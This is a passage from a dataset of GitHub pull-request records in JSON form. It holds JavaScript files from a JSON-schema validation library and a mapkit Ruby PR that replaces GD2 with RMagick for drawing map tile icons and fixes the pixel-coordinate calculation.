undefined;\n\t\t};\n\t}\n};\n", "plugins/fixture.js": "var sys = require('sys');\nrequire('extensions');\n\n\nmodule.exports = {\n\n\n\t// fallbacks\n\n\tfixture: function (errorName) {\n\n\t\treturn function (instance) {\n\n\t\t\tvar toType = this.schema.type,\n\t\t\t\tfromType = typeof instance,\n\t\t\t\tinst;\n\n\t\t\tif (toType === 'string') {\n\n\t\t\t\tif (fromType === 'object') {\n\n\t\t\t\t\tif (\n\t\t\t\t\t\tinstance !== null\n\t\t\t\t\t\t&& typeof instance.toString === 'function'\n\t\t\t\t\t\t&& instance.toString !== Object.prototype.toString\n\t\t\t\t\t\t&& instance.toString !== Array.prototype.toString\n\t\t\t\t\t) return ''+instance;\n\n\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t\treturn instance;\n\t\t\t\t}\n\t\t\t\treturn ''+instance;\n\t\t\t}\n\n\t\t\tif (toType === 'number') {\n\n\t\t\t\tif (fromType !== 'boolean') {\n\n\t\t\t\t\tinst = parseFloat(instance);\n\t\t\t\t\tif (isNaN(inst)) {\n\n\t\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t\t\treturn instance;\n\t\t\t\t\t}\n\n\t\t\t\t\treturn inst;\n\t\t\t\t}\n\t\t\t\tif (instance === false) return 0;\n\t\t\t\tif (instance === true) return 1;\n\t\t\t}\n\n\t\t\tif (toType === 'integer') {\n\n\t\t\t\tif (fromType !== 'boolean') {\n\n\t\t\t\t\tinst = parseInt(instance, 10);\n\t\t\t\t\tif (isNaN(inst)) {\n\n\t\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t\t\treturn instance;\n\t\t\t\t\t}\n\n\t\t\t\t\treturn inst;\n\t\t\t\t}\n\t\t\t\tif (instance === false) return 0;\n\t\t\t\tif (instance === true) return 1;\n\t\t\t}\n\n\t\t\tif (toType === 'boolean') {\n\n\t\t\t\tif (fromType === 'string') {\n\n\t\t\t\t\t// simple and clear\n\t\t\t\t\treturn !!instance;\n\n\t\t\t\t\tif (instance.trim().toLowerCase() === 'false') return false;\n\n\t\t\t\t\tinst = parseFloat(instance);\n\t\t\t\t\treturn isNaN(inst) ? true : !!inst;\n\t\t\t\t}\n\n\t\t\t\tif (fromType === 'object') {\n\n\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t\treturn instance;\n\t\t\t\t}\n\n\t\t\t\treturn !!instance;\n\t\t\t}\n\n\t\t\tif (toType === 'object') {\n\n\t\t\t\tif (instance instanceof Array && instance.length === 0) return {};\n\t\t\t\tif (fromType !== 'object' || instance === null) this.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\tif (toType === 'array') {\n\n\t\t\t\tif (!instance) return [];\n\t\t\t\tif (instance instanceof Object) {\n\n\t\t\t\t\tif (Object.keys(instance).length === 0) return [];\n\t\t\t\t}\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\tif (toType === 'null') {\n\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\tif (toType === 'date') {\n\n\t\t\t\tvar date = new Date(instance);\n\t\t\t\tif (isNaN(date.getTime())) {\n\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t} else {\n\t\t\t\t\tinstance = date;\n\t\t\t\t}\n\t\t\t\treturn instance;\n\t\t\t}\n\t\t};\n\t}\n\n};\n", "schemas/jsonSchemaCore.js": "exports = {\n\n\tid: 'jsonSchemaCore',\n\ttitle: 'JSON Schema Core Schema',\n\tdescription: \"This is the JSON Schema for JSON Schemas.\",\n\ttype: \"object\",\n\n\tproperties: {\n\n\n\t\t// *\n\n\t\ttype: {\n\n\t\t\ttype: [\"string\", \"array\"],\n\t\t\titems: {\n\n\t\t\t\ttype: \"string\",\n\t\t\t\tenum: {\"$ref\": \"#.properties.type.enum\"}\n\t\t\t},\n\t\t\tuniqueItems: true,\n\t\t\tdescription: \"This is a type definition value. This can be a simple type, or a union type\",\n\t\t\tenum: [\"string\", \"object\", \"array\", \"boolean\", \"number\", \"integer\", \"null\", \"any\", \"date\"],\n\t\t\tminItems: 2,\n\t\t\toptional: true,\n\t\t\t\"default\": \"any\",\n\t\t\t\tadapters: 'addToRefs',\n\t\t\t\tlabels: {\n\n\t\t\t\t\tde: {\n\n\t\t\t\t\t\tstring: 'Text',\n\t\t\t\t\t\tobject: 'Objekt',\n\t\t\t\t\t\tarray: 'Liste',\n\t\t\t\t\t\tboolean: 'wahr/falsch',\n\t\t\t\t\t\tnumber: 'Zahl',\n\t\t\t\t\t\tinteger: 'ganze Zahl',\n\t\t\t\t\t\t'null': 'undefiniert'\n\t\t\t\t\t},\n\t\t\t\t\ten: {\n\n\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t},\n\n\t\tid: {\n\n\t\t\ttype: \"string\",\n\t\t\toptional: true,\n\t\t\tminLength: 1,\n\t\t\tpattern: \"[^\\\\.#]\",\n\t\t\tdescription: \"A globally unique ID for this schema. It can be used to reference the schema from another one.\"\n\t\t},\n\n\t\toptional: {\n\n\t\t\ttype: \"boolean\",\n\t\t\tdescription: \"This indicates that the instance property in the instance object is not required.\",\n\t\t\toptional: true,\n\t\t\t\"default\": false,\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\tenum: {\n\t\t\ttype: \"array\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This provides an enumeration of possible values that are valid for the instance property. It goes only for the first type, if type is an array of types.\",\n\t\t\tminItems: 1,\n\t\t\tuniqueItems: true\n\t\t},\n\n\t\tdescription: {\n\n\t\t\ttype: \"string\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This provides a description of the purpose the instance property. The value can be a string or it can be an object with properties corresponding to various different instance languages (with an optional default property indicating the default description).\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\ttitle: {\n\n\t\t\ttype: \"string\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This provides the title of the property\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\t\"default\": {\n\t\t\ttype: \"any\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This indicates the default for the instance property.\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\treadonly: {\n\t\t\ttype: \"boolean\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This indicates the property can not be changed unless it is undefined.\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\t// should go with enum\n\t\toptions: {\n\n\t\t\ttype: \"array\",\n\t\t\toptional: true,\n\t\t\titems: {\n\t\t\t\ttype: \"object\",\n\t\t\t\tproperties: {\n\t\t\t\t\tlabel: {\n\t\t\t\t\t\ttype: \"string\",\n\t\t\t\t\t\toptional: true\n\t\t\t\t\t},\n\t\t\t\t\tvalue: {\n\t\t\t\t\t\ttype: \"any\"\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\textends: {\n\n\t\t\t// You cannot do this, because the schema itself is not optional\n\t\t\t// and so #.properties.extends does inherit from core schema, but\n\t\t\t// isn't as restrictive. So you cannot validate extends in a schema\n\t\t\t/// Better solution needed!\n\t\t\t//extends: {\"$ref\": \"#\"},\n\t\t\ttype: 'object',\n\t\t\toptional: true,\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\t// must be in object\n\t\trequires: {\n\n\t\t\ttype: [\"string\", \"object\"],\n\t\t\tproperties: {\"$ref\": \"#.properties\"},\n\t\t\toptional: true,\n\t\t\tdescription: \"indicates a required property or a schema that must be validated if this property is present\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\t\t// just for schema schemas ;)\n\t\t\tnonStandard: {\n\n\t\t\t\ttype: \"boolean\",\n\t\t\t\toptional: true,\n\t\t\t\t\"default\": false,\n\t\t\t\tnonStandard: true\n\t\t\t},\n\n\t\t\tadapters: {\n\n\t\t\t\t// Allow closures\n\t\t\t\ttype: ['string', 'array', 'any'],\n\t\t\t\titems: {\n\n\t\t\t\t\ttype: ['string', 'any']\n\t\t\t\t},\n\t\t\t\toptional: true,\n\t\t\t\tdescription: \"One or several adapters identified by plugin IDs\",\n\t\t\t\tnonStandard: true,\n\t\t\t\t\tadapters: 'addToRefs'\n\t\t\t},\n\n\t\t\tfallbacks: {\n\n\t\t\t\ttype: \"object\",\n\t\t\t\toptional: true,\n\t\t\t\tadditionalProperties: {\n\n\t\t\t\t\ttype: \"string\",\n\t\t\t\t\tdescription: \"Identifier for a adapter function that will be executed if a constraint is violated\"\n\t\t\t\t},\n\t\t\t\tdescription: \"Fallback object, with property names = schema property names\",\n\t\t\t\tnonStandard: true,\n\t\t\t\t\tadapters: 'addToRefs'\n\t\t\t},\n\n\n\n\t\t// object\n\n\t\tproperties: {\n\n\t\t\ttype: \"object\",\n\t\t\tadditionalProperties: {\"$ref\": \"#\"},\n\t\t\tdescription: \"This is a definition for the properties of an object value\",\n\t\t\toptional: true,\n\t\t\t\"default\": {},\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\n\n\t\t// array\n\n\t\titems: {\n\n\t\t\ttype: [\"object\", \"array\"],\n\t\t\tproperties: {\"$ref\": \"#.properties\"},\n\t\t\titems: {\"$ref\": \"#\"},\n\t\t\tdescription: \"When the value is an array, this indicates the schema to use to validate each item in an array\",\n\t\t\toptional: true,\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\tmaxItems: {\n\n\t\t\ttype: \"integer\",\n\t\t\toptional: true,\n\t\t\tdescription: \"When the instance value is an array, this indicates maximum number of items.\",\n\t\t\tminimum: 0,\n\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\tminItems: {\n\n\t\t\ttype: \"integer\",\n\t\t\toptional: true,\n\t\t\tdescription: \"When the instance value is an array, this indicates minimum number of items.\",\n\t\t\tminimum: 0,\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\n\n\t\t// object, array\n\n\t\tadditionalProperties: {\n\n\t\t\ttype: [\"boolean\", \"object\"],\n\t\t\tproperties: {\"$ref\": \"#.properties\"},\n\t\t\tdescription: \"This provides a default property definition for all properties that are not explicitly defined in an object type definition.\",\n\t\t\toptional: true,\n\t\t\t\"default\": true,\n\t\t\t\tadapters: ['addToRefs']\n\t\t},\n\n\n\n\t\t// number, integer\n\n\t\tminimum: {\n\n\t\t\ttype: \"number\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This indicates the minimum value for the instance property when the type of the instance value is a number.\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\tminimumCanEqual: {\n\n\t\t\ttype: \"boolean\",\n\t\t\toptional: true,\n\t\t\tdescription: \"If the minimum is defined, this indicates whether or not the instance property value can equal the minimum.\",\n\t\t\t\"default\": true,\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\tmaximum: {\n\n\t\t\ttype: \"number\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This indicates the maximum value for the instance property when the type of the instance value is a number.\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\tmaximumCanEqual: {\n\n\t\t\ttype: \"boolean\",\n\t\t\toptional: true,\n\t\t\tdescription: \"If the maximum is defined, this indicates whether or not the instance property value can equal the maximum.\",\n\t\t\t\"default\": true,\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\tmaxDecimal: {\n\n\t\t\ttype: \"integer\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This indicates the maximum number of decimal places in a floating point number.\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\n\n\t\t// string\n\n\t\tpattern: {\n\n\t\t\t// Allow JS RegExp instances\n\t\t\ttype: ['string', 'object'],\n\t\t\tformat: \"regex\",\n\t\t\tdescription: \"When the instance value is a string, this provides a regular expression that a instance string value should match in order to be valid.\",\n\t\t\toptional: true,\n\t\t\t\tadapters: [\n\t\t\t\t\t'addToRefs',\n\t\t\t\t\tfunction (instance, walker) {\n\n\t\t\t\t\t\tif (instance instanceof RegExp) return instance;\n\n\n\t\t\t\t\t\treturn new RegExp(instance);\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t},\n\n\t\tmaxLength: {\n\n\t\t\ttype: \"number\",\n\t\t\toptional: true,\n\t\t\tdescription: \"When the instance value is a string, this indicates maximum length of the string.\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\t\tminLength: {\n\n\t\t\ttype: \"number\",\n\t\t\toptional: true,\n\t\t\tdescription: \"When the instance value is a string, this indicates minimum length of the string.\",\n\t\t\tadapters: 'addToRefs'\n\t\t},\n\n\n\n\t\t// string, number, integer\n\n\t\tformat: {\n\t\t\ttype: \"string\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This indicates what format the data is among some predefined formats which may include:\\n\\ndate - a string following the ISO format \\naddress \\nschema - a schema definition object \\nperson \\npage \\nhtml - a string representing HTML\",\n\t\t\tadapters: 'addToRefs'\n\t\t}\n\t},\n\n\tadapters: [\n\t\t'instantiateSchema',\n\t\t'addToRefs'\n\t]\n};\n"}}
{"repo": "threez/mapkit", "pr_number": 1, "title": "Use RMagick instead of GD2 and Fix Pixel Point calculation ", "state": "closed", "merged_at": "2014-12-12T07:44:17Z", "additions": 15, "deletions": 23, "files_changed": ["lib/mapkit.rb", "lib/tilekit.rb"], "files_before": {"lib/mapkit.rb": "# Module to create tile for the google maps tile overlay\nmodule MapKit\n  # consant for radiants\n  RADIANT = Math::PI / 180.0\n  \n  # the size of tiles in google maps\n  TILE_SIZE = 256\n  \n  # the constant earth radius in meters\n  EARTH_RADIUS = 6_378_137\n  \n  # the min latitude based on the mercator projection\n  MIN_LATITUDE = -85.05112877\n  \n  # the max latitude based on the mercator projection\n  MAX_LATITUDE = 85.05112877\n  \n  # the min longitude based on the mercator projection\n  MIN_LONGITUDE = -180\n  \n  # the max longitude based on the mercator projection\n  MAX_LONGITUDE = 180\n  \n  # the resolution in meters per pixel\n  RESOLUTION = 2 * Math::PI * EARTH_RADIUS / TILE_SIZE\n  \n  # version of MapKit\n  VERSION = \"0.0.3\"\n  \n  # The class represents an lat/lng point\n  class Point\n    attr_accessor :lat, :lng\n  \n    # initializes a point object using latitude and longitude\n    def initialize(lat, lng)\n      @lat, @lng = lat, lng\n    end\n    \n    # returns true if point is in bounding_box, false otherwise\n    def in?(bounding_box)\n      top, left, bottom, right = bounding_box.coords\n      (left..right) === @lng && (top..bottom) === @lat\n    end\n    \n    # returns relative x and y for point in bounding_box\n    def pixel(bounding_box)\n      top, left, bottom, right = bounding_box.coords\n      ws = bounding_box.width / TILE_SIZE\n      hs = bounding_box.height / TILE_SIZE\n      shift_lng = (@lng > 0) ? (@lng - left) : (left - @lng)\n      shift_lat = (@lat > 0) ? (top - @lat) : (@lat - top)\n      \n      [(shift_lng.abs / ws).to_i, (shift_lat.abs / hs).to_i]\n    end\n  end\n  \n  # The class represents a bounding box specified by a top/left point and a \n  # bottom/right point (the coordinates can be pixels or degrees)\n  class BoundingBox\n    attr_accessor :top, :left, :bottom, :right, :zoom\n    \n    # initialize the bounding box using the positions of two points and a \n    # optional zoom level\n    #\n    #             top\n    #        left o------+\n    #             |      |\n    #             |      |\n    #             +------o right\n    #                    bottom\n    #\n    def initialize(top, left, bottom, right, zoom = nil)\n      @top, @left, @bottom, @right, @zoom = top, left, bottom, right, zoom\n    end\n    \n    # returns array of [top, left, bottom, right]\n    def coords\n      [@top, @left, @bottom, @right]\n    end\n    \n    # returns the width of the bounding box in degrees\n    def width\n      @right - @left\n    end\n    \n    # returns the height of the bounding box in degrees\n    def height\n      @top - @bottom\n    end\n\n    # returns array of [width, height] of sspn\n    def sspn\n      [width / 2, height / 2]\n    end\n\n    # returns [lat, lnt] of bounding box\n    def center\n      [@left + width / 2, @bottom + height / 2]\n    end\n    \n    # grow bounding box by percentage\n    def grow!(percent)\n      lng = ((100.0 + percent) * (width / 2.0 / 100.0)) / 2.0\n      lat = ((100.0 + percent) * (height / 2.0 / 100.0)) / 2.0\n      @top += lat\n      @left -= lng\n      @bottom -= lat\n      @right += lng\n    end\n    \n    # grow bounding box by percentage and return new bounding box object\n    def grow(percent)\n      copy = self.clone\n      copy.grow!(percent)\n      copy\n    end\n  end\n  \n  # return bounding box for passed tile coordinates tiles\n  def self.bounding_box(tile_x, tile_y, zoom)\n    top, left, bottom, right = tile_bounds(tile_x, tile_y, zoom)\n    BoundingBox.new(top, left, bottom, right, zoom)\n  end\n\n  # returns bounds [top, left, bottom, right] of the given tile \n  # in WGS-94 coordinates\n  def self.tile_bounds(tile_x, tile_y, zoom)\n    pixel_x, pixel_y = tile2pixel(tile_x, tile_y)\n    top, left = pixel2latlng(pixel_x, pixel_y, zoom)\n    \n    pixel_x, pixel_y = tile2pixel(tile_x + 1, tile_y + 1)\n    bottom, right = pixel2latlng(pixel_x, pixel_y, zoom)\n    \n    [top, left, bottom, right]\n  end\n  \n  # returns [lat, lng] shifted using the passed pixels and zoom\n  def self.shift_latlng(lat, lng, shift_x, shift_y, zoom)\n    pixel_x, pixel_y = latlng2pixel(lat.to_f, lng.to_f, zoom)\n    pixel_x, pixel_y = pixel_x + shift_x, pixel_y + shift_y\n    pixel2latlng(pixel_x, pixel_y, zoom)\n  end\n\n  # returns pixel coordinates [x, y] based on the passed lat/lng WGS-84\n  # coordinates using the specified zoom level\n  def self.latlng2pixel(lat, lng, zoom)\n    lat = clip(lat.to_f, MIN_LATITUDE, MAX_LATITUDE)\n    lng = clip(lng.to_f, MIN_LONGITUDE, MAX_LONGITUDE)\n    \n    x = (lng + 180.0) / 360.0\n    sin_lat = Math.sin(lat * RADIANT)\n    y = 0.5 - Math.log((1.0 + sin_lat) / (1.0 - sin_lat)) / (4.0 * Math::PI)\n    sx, sy = map_size(zoom)\n    \n    pixel_x = clip(x * sx + 0.5, 0.0, sx - 1.0)\n    pixel_y = clip(y * sy + 0.5, 0.0, sy - 1.0)\n    [pixel_x.to_i, pixel_y.to_i]\n  end\n  \n  # returns lat/lng WGS-84 coordinates [lat, lng] basedon the passed pixel\n  # coordinates using the specified zoom level\n  def self.pixel2latlng(pixel_x, pixel_y, zoom)\n    sx, sy = map_size(zoom)\n    x = clip(pixel_x.to_f, 0.0, sx - 1.0) / sx - 0.5\n    y = 0.5 - clip(pixel_y.to_f, 0.0, sy - 1.0) / sy\n    \n    lat = 90.0 - 360.0 * Math.atan(Math.exp(-y * 2.0 * Math::PI)) / Math::PI\n    lng = 360.0 * x\n    [lat, lng]\n  end\n\n  # returns the passed value in case it is in the passed range or the \n  # bounding min or max value \n  def self.clip(val, min, max)\n    (val < min) ? min : (val > max) ? max : val\n  end\n\n  # returns coordinates of tiles using passed pixel coordinates\n  def self.pixel2tile(pixel_x, pixel_y)\n    [pixel_x / TILE_SIZE, pixel_y / TILE_SIZE]\n  end\n  \n  # returns coordinates of pixels using passed tile coordinates\n  def self.tile2pixel(tile_x, tile_y)\n    [tile_x * TILE_SIZE, tile_y * TILE_SIZE]\n  end\n  \n  # returns the size [x, y] of the map using the passed zoom level\n  def self.map_size(zoom)\n    [TILE_SIZE << zoom, TILE_SIZE << zoom]\n  end\n  \n  # returns resolution in meters per pixel for passed zoom level\n  def self.resolution(zoom)\n    RESOLUTION / (2 ** zoom)\n  end\nend\n", "lib/tilekit.rb": "require File.dirname(__FILE__) + \"/mapkit\"\nrequire \"gd2\"\n\n# this module helps drawing icons on tile images\nmodule TileKit\n  # this class represents an icon that can be drawn on an Image\n  class Icon\n    attr_reader :image, :size\n    \n    # initializes the icon with a path, image size [width, height], the peak#\n    # position (where the pointer should be placed) [x, y] and a bounding box\n    # that represents a clickable area\n    # path:: the path of the image (test.png)\n    # size:: the size of the immage as array [width, height]\n    # peak_position:: the peak position as array [x, y]\n    # clickable_area:: the clickable area of the icon as array [top, left, bottom, right]\n    def initialize(path, size, peak_position, clickable_area)\n      @image = GD2::Image.import(path)\n      @size_x, @size_y = size\n      @peak_x, @peak_y = peak_position\n      @shift_x, @shift_y, @width, @height = clickable_area\n    end\n    \n    # draws the icon on the canvas at passed position (x, y)\n    def draw(canvas, x, y)\n      # position icon at peak point\n      x, y = x - @peak_x, y - @peak_y\n      \n      # copy image\n      canvas.copy_from(@image, x, y, 0, 0, @size_x, @size_y)\n    end\n    \n    # returns a boundingbox (with lat/lng) that contains the bounds of the\n    # image for the passed position\n    def bounding_box(lat, lng, zoom)\n      top, left = MapKit.shift_latlng(lat, lng, @shift_x - @peak_x, @shift_y - @peak_y, zoom)\n      bottom, right = MapKit.shift_latlng(top, left, @width, @height, zoom)\n      MapKit::BoundingBox.new(top, left, bottom, right, zoom)\n    end\n  end\n  \n  # this image class represents a tile in the google maps\n  class Image\n    attr_reader :canvas, :bounding_box\n    \n    # initialize the image with a (lat/lng) bounding box of the tile it\n    # represents\n    def initialize(bounding_box)\n      @bounding_box = bounding_box\n      \n      # create image canvas\n      @canvas = GD2::Image.new(MapKit::TILE_SIZE, MapKit::TILE_SIZE)\n\n      # make image transparent\n      @canvas.save_alpha = true\n      @canvas.draw do |context|\n        context.color = GD2::Color::TRANSPARENT\n        context.fill\n      end\n    end\n    \n    # draws passed icon at passed position\n    def draw_icon(point, icon)\n      x, y = point.pixel(@bounding_box)\n      icon.draw(@canvas, x, y)\n    end\n\n    # returns the png binary string of the image\n    def png\n      @canvas.png\n    end\n  end\nend"}, "files_after": {"lib/mapkit.rb": "# Module to create tile for the google maps tile overlay\nmodule MapKit\n  # consant for radiants\n  RADIANT = Math::PI / 180.0\n  \n  # the size of tiles in google maps\n  TILE_SIZE = 256\n  \n  # the constant earth radius in meters\n  EARTH_RADIUS = 6_378_137\n  \n  # the min latitude based on the mercator projection\n  MIN_LATITUDE = -85.05112877\n  \n  # the max latitude based on the mercator projection\n  MAX_LATITUDE = 85.05112877\n  \n  # the min longitude based on the mercator projection\n  MIN_LONGITUDE = -180\n  \n  # the max longitude based on the mercator projection\n  MAX_LONGITUDE = 180\n  \n  # the resolution in meters per pixel\n  RESOLUTION = 2 * Math::PI * EARTH_RADIUS / TILE_SIZE\n  \n  # version of MapKit\n  VERSION = \"0.0.3\"\n  \n  # The class represents an lat/lng point\n  class Point\n    attr_accessor :lat, :lng\n  \n    # initializes a point object using latitude and longitude\n    def initialize(lat, lng)\n      @lat, @lng = lat, lng\n    end\n    \n    # returns true if point is in bounding_box, false otherwise\n    def in?(bounding_box)\n      top, left, bottom, right = bounding_box.coords\n      (left..right) === @lng && (top..bottom) === @lat\n    end\n    \n    # returns relative x and y for point in bounding_box\n    def pixel(bounding_box)\n      x, y = MapKit.latlng2pixel(@lat, @lng, bounding_box.zoom)\n      tile_x, tile_y = MapKit.latlng2pixel(bounding_box.top, bounding_box.left, bounding_box.zoom)\n      [x-tile_x, y-tile_y]\n    end\n  end\n  \n  # The class represents a bounding box specified by a top/left point and a \n  # bottom/right point (the coordinates can be pixels or degrees)\n  class BoundingBox\n    attr_accessor :top, :left, :bottom, :right, :zoom\n    \n    # initialize the bounding box using the positions of two points and a \n    # optional zoom level\n    #\n    #             top\n    #        left o------+\n    #             |      |\n    #             |      |\n    #             +------o right\n    #                    bottom\n    #\n    def initialize(top, left, bottom, right, zoom = nil)\n      @top, @left, @bottom, @right, @zoom = top, left, bottom, right, zoom\n    end\n    \n    # returns array of [top, left, bottom, right]\n    def coords\n      [@top, @left, @bottom, @right]\n    end\n    \n    # returns the width of the bounding box in degrees\n    def width\n      @right - @left\n    end\n    \n    # returns the height of the bounding box in degrees\n    def height\n      @top - @bottom\n    end\n\n    # returns array of [width, height] of sspn\n    def sspn\n      [width / 2, height / 2]\n    end\n\n    # returns [lat, lnt] of bounding box\n    def center\n      [@left + width / 2, @bottom + height / 2]\n    end\n    \n    # grow bounding box by percentage\n    def grow!(percent)\n      lng = ((100.0 + percent) * (width / 2.0 / 100.0)) / 2.0\n      lat = ((100.0 + percent) * (height / 2.0 / 100.0)) / 2.0\n      @top += lat\n      @left -= lng\n      @bottom -= lat\n      @right += lng\n    end\n    \n    # grow bounding box by percentage and return new bounding box object\n    def grow(percent)\n      copy = self.clone\n      copy.grow!(percent)\n      copy\n    end\n  end\n  \n  # return bounding box for passed tile coordinates tiles\n  def self.bounding_box(tile_x, tile_y, zoom)\n    top, left, bottom, right = tile_bounds(tile_x, tile_y, zoom)\n    BoundingBox.new(top, left, bottom, right, zoom)\n  end\n\n  # returns bounds [top, left, bottom, right] of the given tile \n  # in WGS-94 coordinates\n  def self.tile_bounds(tile_x, tile_y, zoom)\n    pixel_x, pixel_y = tile2pixel(tile_x, tile_y)\n    top, left = pixel2latlng(pixel_x, pixel_y, zoom)\n    \n    pixel_x, pixel_y = tile2pixel(tile_x + 1, tile_y + 1)\n    bottom, right = pixel2latlng(pixel_x, pixel_y, zoom)\n    \n    [top, left, bottom, right]\n  end\n  \n  # returns [lat, lng] shifted using the passed pixels and zoom\n  def self.shift_latlng(lat, lng, shift_x, shift_y, zoom)\n    pixel_x, pixel_y = latlng2pixel(lat.to_f, lng.to_f, zoom)\n    pixel_x, pixel_y = pixel_x + shift_x, pixel_y + shift_y\n    pixel2latlng(pixel_x, pixel_y, zoom)\n  end\n\n  # returns pixel coordinates [x, y] based on the passed lat/lng WGS-84\n  # coordinates using the specified zoom level\n  def self.latlng2pixel(lat, lng, zoom)\n    lat = clip(lat.to_f, MIN_LATITUDE, MAX_LATITUDE)\n    lng = clip(lng.to_f, MIN_LONGITUDE, MAX_LONGITUDE)\n    \n    x = (lng + 180.0) / 360.0\n    sin_lat = Math.sin(lat * RADIANT)\n    y = 0.5 - Math.log((1.0 + sin_lat) / (1.0 - sin_lat)) / (4.0 * Math::PI)\n    sx, sy = map_size(zoom)\n    \n    pixel_x = clip(x * sx + 0.5, 0.0, sx - 1.0)\n    pixel_y = clip(y * sy + 0.5, 0.0, sy - 1.0)\n    [pixel_x.to_i, pixel_y.to_i]\n  end\n  \n  # returns lat/lng WGS-84 coordinates [lat, lng] basedon the passed pixel\n  # coordinates using the specified zoom level\n  def self.pixel2latlng(pixel_x, pixel_y, zoom)\n    sx, sy = map_size(zoom)\n    x = clip(pixel_x.to_f, 0.0, sx - 1.0) / sx - 0.5\n    y = 0.5 - clip(pixel_y.to_f, 0.0, sy - 1.0) / sy\n    \n    lat = 90.0 - 360.0 * Math.atan(Math.exp(-y * 2.0 * Math::PI)) / Math::PI\n    lng = 360.0 * x\n    [lat, lng]\n  end\n\n  # returns the passed value in case it is in the passed range or the \n  # bounding min or max value \n  def self.clip(val, min, max)\n    (val < min) ? min : (val > max) ? max : val\n  end\n\n  # returns coordinates of tiles using passed pixel coordinates\n  def self.pixel2tile(pixel_x, pixel_y)\n    [pixel_x / TILE_SIZE, pixel_y / TILE_SIZE]\n  end\n  \n  # returns coordinates of pixels using passed tile coordinates\n  def self.tile2pixel(tile_x, tile_y)\n    [tile_x * TILE_SIZE, tile_y * TILE_SIZE]\n  end\n  \n  # returns the size [x, y] of the map using the passed zoom level\n  def self.map_size(zoom)\n    [TILE_SIZE << zoom, TILE_SIZE << zoom]\n  end\n  \n  # returns resolution in meters per pixel for passed zoom level\n  def self.resolution(zoom)\n    RESOLUTION / (2 ** zoom)\n  end\nend\n", "lib/tilekit.rb": "require File.dirname(__FILE__) + \"/mapkit\"\nrequire 'RMagick' unless defined? Magick\n\n# this module helps drawing icons on tile images\nmodule TileKit\n  # this class represents an icon that can be drawn on an Image\n  class Icon\n    attr_reader :image, :size\n    \n    # initializes the icon with a path, image size [width, height], the peak#\n    # position (where the pointer should be placed) [x, y] and a bounding box\n    # that represents a clickable area\n    # path:: the path of the image (test.png)\n    # size:: the size of the immage as array [width, height]\n    # peak_position:: the peak position as array [x, y]\n    # clickable_area:: the clickable area of the icon as array [top, left, bottom, right]\n    def initialize(path, size, peak_position, clickable_area)\n      @image = Magick::Image.read(path)[0]\n      @size_x, @size_y = size\n      @peak_x, @peak_y = peak_position\n      @shift_x, @shift_y, @width, @height = clickable_area\n    end\n    \n    # draws the icon on the canvas at passed position (x, y)\n    def draw(canvas, x, y)\n      # position icon at peak point\n      x, y = x - @peak_x, y - @peak_y\n      \n      # copy image\n      canvas.composite!(@image, Magick::ForgetGravity, x, y, Magick::CopyCompositeOp)\n    end\n    \n    # returns a boundingbox (with lat/lng) that contains the bounds of the\n    # image for the passed position\n    def bounding_box(lat, lng, zoom)\n      top, left = MapKit.shift_latlng(lat, lng, @shift_x - @peak_x, @shift_y - @peak_y, zoom)\n      bottom, right = MapKit.shift_latlng(top, left, @width, @height, zoom)\n      MapKit::BoundingBox.new(top, left, bottom, right, zoom)\n    end\n  end\n  \n  # this image class represents a tile in the google maps\n  class Image\n    attr_reader :canvas, :bounding_box\n    \n    # initialize the image with a (lat/lng) bounding box of the tile it\n    # represents\n    def initialize(bounding_box)\n      @bounding_box = bounding_box\n      \n      # create transparent image canvas\n      @canvas = Magick::Image.new(MapKit::TILE_SIZE, MapKit::TILE_SIZE) do |c|\n        c.background_color= \"Transparent\"\n      end\n    end\n    \n    # draws passed icon at passed position\n    def draw_icon(point, icon)\n      x, y = point.pixel(@bounding_box)\n      Rails.logger.debug \"icon_x:#{x} icon_y:#{y}\"\n      icon.draw(@canvas, x, y)\n    end\n\n    # returns the png binary string of the image\n    def png\n      @canvas.to_blob { |attrs| attrs.format = 'PNG' }\n    end\n  end\nend\n"}}
